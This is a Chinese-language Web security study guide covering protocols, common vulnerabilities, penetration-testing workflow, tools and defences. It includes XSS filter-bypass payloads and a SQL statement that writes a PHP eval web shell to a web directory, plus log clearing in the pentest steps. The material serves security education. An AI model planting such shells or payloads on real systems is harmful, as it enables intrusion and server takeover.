Web安全常见问题
字数 3049 2025-08-20 18:18:10
Web安全常见问题与渗透测试全面指南
1. 网络基础协议
1.1 OSI模型与TCP/IP协议栈
OSI七层模型:
- 物理层
- 数据链路层
- 网络层
- 传输层
- 会话层
- 表示层
- 应用层
五层协议简化模型:
- 物理层
- 数据链路层
- 网络层
- 传输层
- 应用层
1.2 HTTP请求类型
| 方法 | 描述 |
|---|---|
| GET | 请求的数据在URL头 |
| POST | 请求的数据在请求体 |
| PUT | 更新资源 |
| DELETE | 删除资源 |
| CONNECT | HTTP/1.1协议中预留给代理服务器 |
| OPTIONS | 描述目标资源的通信选项 |
| TRACE | 回显服务器收到的请求,用于测试 |
| PATCH | 修改资源的部分内容(HTTP/1.1新增) |
1.3 网络诊断基础
网络连通性排查步骤:
ping 127.0.0.1- 检查本机TCP/IP协议ping 本机IP- 检查网卡/驱动ping 同网段IP- 检查交换机/VLANping 网关IP- 检查本地网络ping 公网IP- 检查路由
DNS问题诊断:
- QQ/微信可用但网页打不开通常是DNS问题
2. 常见Web漏洞
2.1 XSS跨站脚本攻击
原理:
- 被动攻击,通过注入恶意Script代码到Web页面
- 当用户浏览时执行恶意代码
分类:
- 反射型:经过后端,不经过数据库(常见于留言板、论坛)
- 存储型:经过后端和数据库(常见于URL、搜索框)
- DOM型:基于DOM模型,不与服务器交互
Payload构造与绕过:
- 基本Payload:
<script>alert(1)</script> - 双写绕过:
<sc<script>alert(1)</script> - 大小写绕过:
<ScRIpt>alert(1)</sCriPt> 标签绕过:
2.2 逻辑漏洞
常见类型:
-
验证码漏洞:
- 重复使用
- 绕过
- 回显
- 自动识别
-
越权漏洞:
- 垂直越权:访问更高权限账户
- 水平越权:访问同级其他账户
-
密码漏洞:
- 密码更改漏洞:不验证旧密码
- 密码重置漏洞:验证逻辑不严
-
支付漏洞:
- 修改支付金额
- 越权支付
- 支付接口漏洞
2.3 CSRF跨站请求伪造
原理:
- 欺骗用户浏览器访问已认证站点并执行操作
- 利用用户已保存的认证状态
防御措施:
- CSRF令牌验证
- 表单隐藏字段
- 自定义请求头(X-CSRF-Token)
- SameSite Cookie属性
- Referer头验证
2.4 SSRF服务器端请求伪造
漏洞成因:
- 服务端提供从其他服务器获取数据的功能
- 服务端对目标地址过滤不严
攻击目标:
- 内网系统扫描
- Web应用指纹识别
- 内网漏洞利用
2.5 反序列化漏洞
原理:
- 反序列化不可信数据时执行恶意代码
PHP利用方式:
__wakeup()绕过- Session漏洞利用
- PHAR文件利用
防御措施:
- 使用JSON/XML替代
- 严格输入验证
- 类白名单
- 最小权限原则
常见漏洞:
- Shiro反序列化
- WebLogic反序列化
3. 渗透测试流程
3.1 网站渗透测试流程
-
信息收集:
- 服务器信息(IP、系统类型、开放端口、WAF)
- 网站指纹(CMS、CDN、证书)
- Whois信息
- 子域名、旁站、C段
- Google Hacking
- 目录扫描
-
漏洞挖掘:
- 端口/弱口令扫描
- XSS/SQL注入测试
- 上传漏洞检测
- CSRF检测
- 使用漏扫工具
-
漏洞利用与提权:
- MySQL/Serv-U/Oracle提权
- Windows溢出提权
- Linux脏牛提权
-
清除数据与报告:
- 日志清理
- 输出渗透报告
-
复测:
- 验证修复情况
- 输出最终报告
3.2 内网渗透流程
-
信息收集:
- 存活IP扫描
- 端口服务识别
-
弱口令检测:
- 系统服务(IPC$、SSH、Telnet)
- 数据库服务(MSSQL、MySQL)
- Web服务(WebLogic、Tomcat、JBoss)
-
提权与横向移动:
- 读取缓存密码
- 利用获取的凭证横向移动
4. 协议详解
4.1 ARP协议与欺骗
ARP协议作用:
- IP地址到MAC地址的转换
ARP欺骗原理:
- 扫描网络拓扑
- 构造伪造ARP报文
- 发送伪造报文
- 更新目标ARP缓存
- 截获数据包
防御措施:
- 静态ARP缓存
- IP-MAC绑定
- ARP防火墙
- 加密协议
4.2 TCP与UDP
TCP特点:
- 面向连接、可靠
- 流量控制、拥塞控制
- 面向字节流
- 协议号6
UDP特点:
- 无连接、不可靠
- 面向报文
- 协议号17
- 无发送缓冲区
三次握手:
- 客户端发送SYN=x
- 服务端回复SYN=y, ACK=x+1
- 客户端发送ACK=y+1
四次挥手:
- 主机1发送FIN
- 主机2回复ACK
- 主机2发送FIN
- 主机1回复ACK
4.3 DNS协议
- 使用UDP 53端口
- 解析文件位置:
- Windows:
C:\Windows\System32\drivers\etc\hosts - Linux:
/etc/hosts
- Windows:
- 解析方式:迭代/递归
4.4 NAT协议
功能:
- 地址复用
- 地址隐藏
- 简化管理
- 负载均衡
- 透明代理
5. 安全工具与技术
5.1 常见渗透测试工具
| 工具 | 用途 |
|---|---|
| BurpSuite | HTTP请求拦截修改、漏洞测试 |
| Sqlmap | SQL注入检测与利用 |
| 御剑 | 目录扫描 |
| Mimikatz | 抓取系统明文密码 |
| OWASP ZAP/AWVS | 漏洞扫描 |
| Nmap/Masscan | 端口扫描、服务识别 |
5.2 PKI公钥基础设施
组成:
- 数字证书
- 证书颁发机构(CA)
- 注册机构
- 证书存储
功能:
- 身份验证
- 加密通信
- 数字签名
5.3 WAF与IDS/IPS
WAF(Web应用防火墙):
- 过滤Web流量
- 检测SQL注入/XSS/CSRF等攻击
- 工作原理:
- 流量识别
- 攻击检测
- 攻击响应
- 日志记录
IDS(入侵检测系统):
- 被动监测
- 分类:
- 基于网络
- 基于主机
- 技术途径:
- 信息收集
- 数据分析
IPS(入侵防御系统):
- 主动防御
- 分类:
- HIPS(基于主机)
- NIPS(基于网络)
6. 系统安全
6.1 Linux安全
- 用户密码存放:
/etc/passwd和/etc/shadow - 常见提权方式:
- 脏牛漏洞
- 内核漏洞
- 服务配置不当
6.2 SQL注入Getshell
into outfile条件:
- Web目录可写
- 知道绝对路径
- secure_file_priv无限制
查看secure_file_priv:
SHOW GLOBAL VARIABLES LIKE '%secure%';
写入一句话木马:
SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php';
sqlmap --os-shell原理:
- 注入SQL写入PHP文件
- 上传执行文件
- 执行系统命令
7. OWASP Top 10 2023
- 对象级别授权失效(水平越权)
- 失效的身份认证
- 对象属性级别授权失效
- 资源消耗无限制(DDoS)
- 功能级授权失效(垂直越权)
- 访问敏感业务流无限制(撞库、爬虫)
- 服务器端请求伪造(SSRF)
- 安全配置错误
- 库存管理不当
- API不安全使用
8. 防御最佳实践
- 输入验证与过滤
- 最小权限原则
- 定期更新与补丁
- 安全配置基线
- 日志记录与监控
- 加密通信
- 安全编码实践
- 渗透测试与审计
- 安全意识培训
- 应急响应计划